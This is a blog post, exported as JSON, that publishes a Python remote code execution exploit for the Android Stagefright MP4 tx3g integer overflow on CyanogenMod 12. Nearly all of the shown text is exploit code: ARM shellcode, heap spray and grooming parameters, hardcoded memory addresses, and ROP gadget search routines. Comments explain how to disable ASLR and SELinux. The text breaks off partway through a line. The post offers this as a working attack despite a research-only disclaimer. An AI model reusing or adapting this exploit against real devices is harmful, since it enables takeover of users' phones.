{"id":28285,"date":"2017-04-08T00:54:14","date_gmt":"2017-04-07T17:54:14","guid":{"rendered":"http:\/\/deepquest.code511.com\/blog\/?p=28285"},"modified":"2017-04-08T00:54:14","modified_gmt":"2017-04-07T17:54:14","slug":"cyanogenmod-12-stagefright-mp4-tx3g-integer-overflow-remote-code-execution-exploit","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2017\/04\/cyanogenmod-12-stagefright-mp4-tx3g-integer-overflow-remote-code-execution-exploit\/","title":{"rendered":"CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Remote Code Execution Exploit"},"content":{"rendered":"<p>There\u2019s been a lot of attention recently around a number of vulnerabilities in Android\u2019s libstagefright. There\u2019s been a lot of confusion about the remote exploitability of the issues, especially on modern devices. In this blog post we will demonstrate an exploit on\u00a0CyanogenMod 12.<\/p>\n<p><!--more--><\/p>\n<div class=\"line number1 index0 alt2\"><code class=\"python comments\">#!\/usr\/bin\/python2<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"python comments\"># CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Exploit Remote Code Execution<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"python comments\"># Author: Marcin Kozlowski (marcinguy@gmail.com)<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"python comments\"># Based on: <a href=\"https:\/\/googleprojectzero.blogspot.com\/2015\/09\/stagefrightened.html\">https:\/\/googleprojectzero.blogspot.com\/2015\/09\/stagefrightened.html<\/a><\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"python comments\"># On CyanogenMod make sure your ROM is compiled to use jemalloc (not dlmalloc). With dlmalloc I wasnt able to exploit this. vtable was very far away, actually before the buffer. How to overwrite it ? :\/<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"python comments\"># cat device\/samsung\/msm8226-common\/BoardConfigCommon.mk<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"python comments\">##Memory<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"python comments\">##MALLOC_IMPL := dlmalloc<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"python comments\">#MALLOC_IMPL := jemalloc<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"python comments\"># In my tests, I disabled ASLR and SELinux, the second one must be disabled for it to work, seems like mediaserver process is sandboxed, the first make it easier to exploit (no need to guess libc_base). Heap has to be alligned as predicted, pssh at 0xb0503000 (Should happen after you run the exploit for few minutes). May need adjustment for you mobile.<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"python comments\"># echo 0 &gt; \/proc\/sys\/kernel\/randomize_va_space<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"python comments\"># echo 0 &gt; \/sys\/fs\/selinux\/enforce<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"python comments\"># vtable offset was different than in G0 exploit, also the Heap was sprayed differently in this exploit version.<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"python comments\">#\u00a0 <\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"python comments\"># Gadget pop {r0, r1, r2, r3, pc} was not in my standard CyanogenMod build for my mobile, so I built it into \/system\/lib\/libc.so, not to spend too much time on ROP Stack<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"python comments\"># Tested on Samsung Galaxy S3 Neo+ GT-I9301I <\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"python comments\"># root@s3ve3g:\/ # ls \/root<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"python comments\"># pwned<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><code class=\"python comments\"># root@s3ve3g:\/ # <\/code><\/div>\n<div class=\"line number27 index26 alt2\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number28 index27 alt1\"><code class=\"python comments\"># Provided for legal security research and testing purposes ONLY<\/code><\/div>\n<div class=\"line number29 index28 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number30 index29 alt1\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">cherrypy<\/code><\/div>\n<div class=\"line number31 index30 alt2\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">os<\/code><\/div>\n<div class=\"line number32 index31 alt1\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">pwnlib.asm as asm<\/code><\/div>\n<div class=\"line number33 index32 alt2\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">pwnlib.elf as elf<\/code><\/div>\n<div class=\"line number34 index33 alt1\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">sys<\/code><\/div>\n<div class=\"line number35 index34 alt2\"><code class=\"python keyword\">import<\/code> <code class=\"python plain\">struct<\/code><\/div>\n<div class=\"line number36 index35 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number37 index36 alt2\"><\/div>\n<div class=\"line number38 index37 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number39 index38 alt2\"><code class=\"python comments\">#PoC Shellcode. Create \/root\/pwned file on mobile<\/code><\/div>\n<div class=\"line number40 index39 alt1\"><code class=\"python comments\">#<\/code><\/div>\n<div class=\"line number41 index40 alt2\"><code class=\"python comments\">#Make sure \/root is writeable by media user or all (chmod 777 \/root)<\/code><\/div>\n<div class=\"line number42 index41 alt1\"><\/div>\n<div class=\"line number43 index42 alt2\"><code class=\"python plain\">shellcode <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">bytearray(<\/code><code class=\"python string\">\"\\x01\\x60\\x8f\\xe2\"<\/code><\/div>\n<div class=\"line number44 index43 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x16\\xff\\x2f\\xe1\"<\/code><\/div>\n<div class=\"line number45 index44 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x78\\x46\"<\/code><\/div>\n<div class=\"line number46 index45 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x10\\x30\"<\/code><\/div>\n<div class=\"line number47 index46 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\xff\\x21\"<\/code><\/div>\n<div class=\"line number48 index47 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\xff\\x31\"<\/code><\/div>\n<div class=\"line number49 index48 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x01\\x31\"<\/code><\/div>\n<div class=\"line number50 index49 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x08\\x27\"<\/code><\/div>\n<div class=\"line number51 index50 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x01\\xdf\"<\/code><\/div>\n<div class=\"line number52 index51 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x40\\x40\"<\/code><\/div>\n<div class=\"line number53 index52 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x01\\x27\"<\/code><\/div>\n<div class=\"line number54 index53 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x01\\xdf\"<\/code><\/div>\n<div class=\"line number55 index54 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x2f\\x72\\x6f\\x6f\"<\/code><\/div>\n<div class=\"line number56 index55 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x74\\x2f\\x70\\x77\"<\/code><\/div>\n<div class=\"line number57 index56 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x6e\\x65\"<\/code><\/div>\n<div class=\"line number58 index57 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python string\">\"\\x64\"<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number59 index58 alt2\"><\/div>\n<div class=\"line number60 index59 alt1\"><code class=\"python functions\">print<\/code> <code class=\"python string\">\"Shellcode length:\"<\/code><code class=\"python keyword\">+<\/code><code class=\"python functions\">str<\/code><code class=\"python plain\">(<\/code><code class=\"python functions\">len<\/code><code class=\"python plain\">(shellcode))<\/code><\/div>\n<div class=\"line number61 index60 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number62 index61 alt1\"><code class=\"python keyword\">while<\/code> <code class=\"python functions\">len<\/code><code class=\"python plain\">(shellcode) <\/code><code class=\"python keyword\">%<\/code> <code class=\"python value\">4<\/code> <code class=\"python plain\">!<\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number63 index62 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">shellcode <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'\\x00'<\/code><\/div>\n<div class=\"line number64 index63 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number65 index64 alt2\"><code class=\"python comments\"># heap grooming configuration<\/code><\/div>\n<div class=\"line number66 index65 alt1\"><code class=\"python plain\">alloc_size <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0x20<\/code><\/div>\n<div class=\"line number67 index66 alt2\"><code class=\"python plain\">groom_count <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0x4<\/code><\/div>\n<div class=\"line number68 index67 alt1\"><code class=\"python plain\">spray_size <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0x100000<\/code><\/div>\n<div class=\"line number69 index68 alt2\"><code class=\"python plain\">spray_count <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0x10<\/code><\/div>\n<div class=\"line number70 index69 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number71 index70 alt2\"><code class=\"python comments\"># address of the buffer we allocate for our shellcode<\/code><\/div>\n<div class=\"line number72 index71 alt1\"><code class=\"python plain\">mmap_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0x90000000<\/code><\/div>\n<div class=\"line number73 index72 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number74 index73 alt1\"><code class=\"python comments\"># addresses that we need to predict<\/code><\/div>\n<div class=\"line number75 index74 alt2\"><code class=\"python plain\">libc_base <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0xb6ef5000<\/code><\/div>\n<div class=\"line number76 index75 alt1\"><code class=\"python plain\">spray_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0xb0503000<\/code><\/div>\n<div class=\"line number77 index76 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number78 index77 alt1\"><code class=\"python comments\"># ROP gadget addresses<\/code><\/div>\n<div class=\"line number79 index78 alt2\"><code class=\"python plain\">stack_pivot <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number80 index79 alt1\"><code class=\"python plain\">stack_pivot1 <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number81 index80 alt2\"><code class=\"python plain\">pop_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number82 index81 alt1\"><code class=\"python plain\">pop_r0_r1_r2_r3_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number83 index82 alt2\"><code class=\"python plain\">pop_r4_r5_r6_r7_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number84 index83 alt1\"><code class=\"python plain\">ldr_lr_bx_lr <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number85 index84 alt2\"><code class=\"python plain\">ldr_lr_bx_lr_stack_pad <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><\/div>\n<div class=\"line number86 index85 alt1\"><code class=\"python plain\">mmap64 <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number87 index86 alt2\"><code class=\"python plain\">memcpy <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number88 index87 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number89 index88 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">find_arm_gadget(e, gadget):<\/code><\/div>\n<div class=\"line number90 index89 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">gadget_bytes <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">asm.asm(gadget, arch<\/code><code class=\"python keyword\">=<\/code><code class=\"python string\">'arm'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number91 index90 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number92 index91 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">for<\/code> <code class=\"python plain\">address <\/code><code class=\"python keyword\">in<\/code> <code class=\"python plain\">e.search(gadget_bytes):<\/code><\/div>\n<div class=\"line number93 index92 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">address <\/code><code class=\"python keyword\">%<\/code> <code class=\"python value\">4<\/code> <code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number94 index93 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">address<\/code><\/div>\n<div class=\"line number95 index94 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">gadget_bytes <\/code><code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">e.read(gadget_address, <\/code><code class=\"python functions\">len<\/code><code class=\"python plain\">(gadget_bytes)):<\/code><\/div>\n<div class=\"line number96 index95 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python plain\">asm.disasm(gadget_bytes, vma<\/code><code class=\"python keyword\">=<\/code><code class=\"python plain\">gadget_address, arch<\/code><code class=\"python keyword\">=<\/code><code class=\"python string\">'arm'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number97 index96 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">break<\/code><\/div>\n<div class=\"line number98 index97 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">gadget_address<\/code><\/div>\n<div class=\"line number99 index98 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number100 index99 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">find_thumb_gadget(e, gadget):<\/code><\/div>\n<div class=\"line number101 index100 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">gadget_bytes <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">asm.asm(gadget, arch<\/code><code class=\"python keyword\">=<\/code><code class=\"python string\">'thumb'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number102 index101 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number103 index102 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">for<\/code> <code class=\"python plain\">address <\/code><code class=\"python keyword\">in<\/code> <code class=\"python plain\">e.search(gadget_bytes):<\/code><\/div>\n<div class=\"line number104 index103 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">address <\/code><code class=\"python keyword\">%<\/code> <code class=\"python value\">2<\/code> <code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number105 index104 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">address <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">1<\/code><\/div>\n<div class=\"line number106 index105 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">gadget_bytes <\/code><code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">e.read(gadget_address <\/code><code class=\"python keyword\">-<\/code> <code class=\"python value\">1<\/code><code class=\"python plain\">, <\/code><code class=\"python functions\">len<\/code><code class=\"python plain\">(gadget_bytes)):<\/code><\/div>\n<div class=\"line number107 index106 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python plain\">asm.disasm(gadget_bytes, vma<\/code><code class=\"python keyword\">=<\/code><code class=\"python plain\">gadget_address<\/code><code class=\"python keyword\">-<\/code><code class=\"python value\">1<\/code><code class=\"python plain\">, arch<\/code><code class=\"python keyword\">=<\/code><code class=\"python string\">'thumb'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number108 index107 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">break<\/code><\/div>\n<div class=\"line number109 index108 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">gadget_address<\/code><\/div>\n<div class=\"line number110 index109 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0<\/code><\/div>\n<div class=\"line number111 index110 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">find_gadget(e, gadget):<\/code><\/div>\n<div class=\"line number112 index111 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_thumb_gadget(e, gadget)<\/code><\/div>\n<div class=\"line number113 index112 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">gadget_address <\/code><code class=\"python keyword\">is<\/code> <code class=\"python keyword\">not<\/code> <code class=\"python color1\">None<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number114 index113 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">gadget_address<\/code><\/div>\n<div class=\"line number115 index114 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">find_arm_gadget(e, gadget)<\/code><\/div>\n<div class=\"line number116 index115 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number117 index116 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">find_rop_gadgets(path):<\/code><\/div>\n<div class=\"line number118 index117 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">memcpy<\/code><\/div>\n<div class=\"line number119 index118 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">mmap64<\/code><\/div>\n<div class=\"line number120 index119 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">stack_pivot<\/code><\/div>\n<div class=\"line number121 index120 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">stack_pivot1<\/code><\/div>\n<div class=\"line number122 index121 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">pop_pc<\/code><\/div>\n<div class=\"line number123 index122 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">pop_r0_r1_r2_r3_pc<\/code><\/div>\n<div class=\"line number124 index123 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">pop_r4_r5_r6_r7_pc<\/code><\/div>\n<div class=\"line number125 index124 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">ldr_lr_bx_lr<\/code><\/div>\n<div class=\"line number126 index125 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">global<\/code> <code class=\"python plain\">ldr_lr_bx_lr_stack_pad<\/code><\/div>\n<div class=\"line number127 index126 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number128 index127 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">e <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">elf.ELF(path)<\/code><\/div>\n<div class=\"line number129 index128 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">e.address <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">libc_base<\/code><\/div>\n<div class=\"line number130 index129 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number131 index130 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">memcpy <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">e.symbols[<\/code><code class=\"python string\">'memcpy'<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number132 index131 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] memcpy : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(memcpy)<\/code><\/div>\n<div class=\"line number133 index132 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">mmap64 <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">e.symbols[<\/code><code class=\"python string\">'mmap64'<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number134 index133 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] mmap64 : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(mmap64)<\/code><\/div>\n<div class=\"line number135 index134 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number136 index135 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013344\u00a0\u00a0\u00a0 ADD\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 R2, R0, #0x4C<\/code><\/div>\n<div class=\"line number137 index136 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013348\u00a0\u00a0\u00a0 LDMIA\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 R2, {R4-LR}<\/code><\/div>\n<div class=\"line number138 index137 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:0001334C\u00a0\u00a0\u00a0 TEQ\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 SP, #0<\/code><\/div>\n<div class=\"line number139 index138 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013350\u00a0\u00a0\u00a0 TEQNE\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 LR, #0<\/code><\/div>\n<div class=\"line number140 index139 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013354\u00a0\u00a0\u00a0 BEQ\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 botch_0<\/code><\/div>\n<div class=\"line number141 index140 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013358\u00a0\u00a0\u00a0 MOV\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 R0, R1<\/code><\/div>\n<div class=\"line number142 index141 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:0001335C\u00a0\u00a0\u00a0 TEQ\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 R0, #0<\/code><\/div>\n<div class=\"line number143 index142 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013360\u00a0\u00a0\u00a0 MOVEQ\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 R0, #1<\/code><\/div>\n<div class=\"line number144 index143 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># .text:00013364\u00a0\u00a0\u00a0 BX\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 LR<\/code><\/div>\n<div class=\"line number145 index144 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number146 index145 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pivot_asm <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">''<\/code><\/div>\n<div class=\"line number147 index146 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pivot_asm 